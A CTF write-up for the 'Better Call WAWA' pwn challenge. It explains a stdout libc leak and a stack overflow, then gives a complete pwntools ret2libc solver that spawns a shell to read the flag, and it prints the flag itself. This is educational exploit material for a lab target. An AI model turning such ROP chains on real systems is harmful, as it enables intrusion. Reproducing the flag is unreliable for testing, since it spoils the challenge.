Securinets Friendly CTF 2026 / Pwn WRITEUP
BETTER CALL WAWA
Some names never leave the contact list. When every Rockstar line went silent, one number still answered: WAWA. CyberLeek has one call to trace the signal, reach the archive, and bring the leak home.
Walkthrough
Solution
The program discloses the address of stdout, which gives the libc base by subtracting the bundled libc's _IO_2_1_stdout_ offset. The 72-byte read into a 32-byte stack buffer also reaches the saved return address at offset 40.
Build a libc ROP chain with an alignment ret, pop rdi; ret, the address of /bin/sh, and system. After the function returns into the chain, send cat flag.txt through the resulting shell.
Reference solver
The reference solver supplied with the writeup:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF("./main", checksec=False)
context.log_level = "error"
libc = ELF("./libc.so.6", checksec=False)
p = remote("127.0.0.1", 9010)
p.recvuntil(b"WAWA'S LINE: ")
leak = int(p.recvline(), 16)
libc.address = leak - libc.sym["_IO_2_1_stdout_"]
rop = ROP(libc)
ret = rop.find_gadget(["ret"]).address
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
bin_sh = next(libc.search(b"/bin/sh\x00"))
payload = b"A" * 40
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(libc.sym.system)
p.sendafter(b"message:\n", payload)
p.sendline(b"cat flag.txt")
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()Flag
Securinets{B3TT3R_C4LL_W4W4_6G_YALLLA}